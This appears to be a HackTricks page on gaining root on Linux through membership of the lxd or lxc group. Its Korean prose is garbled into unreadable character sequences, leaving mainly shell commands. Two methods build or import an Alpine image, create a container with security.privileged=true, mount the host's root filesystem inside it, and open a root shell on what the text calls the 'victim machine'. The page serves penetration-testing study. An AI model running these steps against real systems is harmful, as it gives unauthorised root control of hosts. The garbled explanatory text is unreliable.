lxd/lxc ๊ทธ๋ฃน - ๊ถํ ์์น
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋น์ ์ด lxd ๋๋ lxc ๊ทธ๋ฃน์ ์ํ๋ค๋ฉด, ๋ฃจํธ๊ฐ ๋ ์ ์์ต๋๋ค.
์ธํฐ๋ท ์์ด ์ ์ฉํ๊ธฐ
๋ฐฉ๋ฒ 1
์ ๋ขฐํ ์ ์๋ ์ ์ฅ์์์ lxd์ ํจ๊ป ์ฌ์ฉํ alpine ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค.
Canonical์ ๊ทธ๋ค์ ์ฌ์ดํธ์ ๋งค์ผ ๋น๋๋ฅผ ๊ฒ์ํฉ๋๋ค: https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/
๊ฐ์ฅ ์ต์ ๋น๋์์ lxd.tar.xz์ rootfs.squashfs๋ฅผ ๋ชจ๋ ๊ฐ์ ธ์ค์ธ์. (๋๋ ํ ๋ฆฌ ์ด๋ฆ์ ๋ ์ง์
๋๋ค).
๋์์ผ๋ก, ์ด ๋ฐฐํฌํ ๋น๋๋ฅผ ๋น์ ์ ๋จธ์ ์ ์ค์นํ ์ ์์ต๋๋ค: https://github.com/lxc/distrobuilder (github์ ์ง์นจ์ ๋ฐ๋ฅด์ธ์):
# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder
# Make distrobuilder
cd ./distrobuilder
make
# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
ํ์ผ incus.tar.xz (**Canonical ๋ฆฌํฌ์งํ ๋ฆฌ์์ ๋ค์ด๋ก๋ํ ๊ฒฝ์ฐ lxd.tar.xz)์ rootfs.squashfs๋ฅผ ์ ๋ก๋ํ๊ณ , ์ด๋ฏธ์ง๋ฅผ ๋ฆฌํฌ์งํ ๋ฆฌ์ ์ถ๊ฐํ ํ ์ปจํ ์ด๋๋ฅผ ์์ฑํ์ธ์:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
# Check the image is there
lxc image list
# Create the container
lxc init alpine privesc -c security.privileged=true
# List containers
lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Caution
์ด ์ค๋ฅ๋ฅผ ๋ฐ๊ฒฌํ๋ฉด ์ค๋ฅ: ์ ์ฅ์ ํ์ด ์์ต๋๋ค. ์ ์ ์ฅ์ ํ์ ์์ฑํ์ญ์์ค
**lxd init**๋ฅผ ์คํํ๊ณ ๋ชจ๋ ์ต์ ์ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ค์ ํ์ญ์์ค. ๊ทธ๋ฐ ๋ค์ ์ด์ ๋ช ๋ น์ด ๋ฉ์ด๋ฆฌ๋ฅผ ๋ฐ๋ณตํ์ญ์์ค.
๋ง์ง๋ง์ผ๋ก ์ปจํ ์ด๋๋ฅผ ์คํํ๊ณ root๋ฅผ ์ป์ ์ ์์ต๋๋ค:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Method 2
Alpine ์ด๋ฏธ์ง๋ฅผ ๋น๋ํ๊ณ security.privileged=true ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์์ํ์ฌ ์ปจํ
์ด๋๊ฐ ํธ์คํธ ํ์ผ ์์คํ
๊ณผ ๋ฃจํธ๋ก ์ํธ ์์ฉํ๋๋ก ๊ฐ์ ํฉ๋๋ค.
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


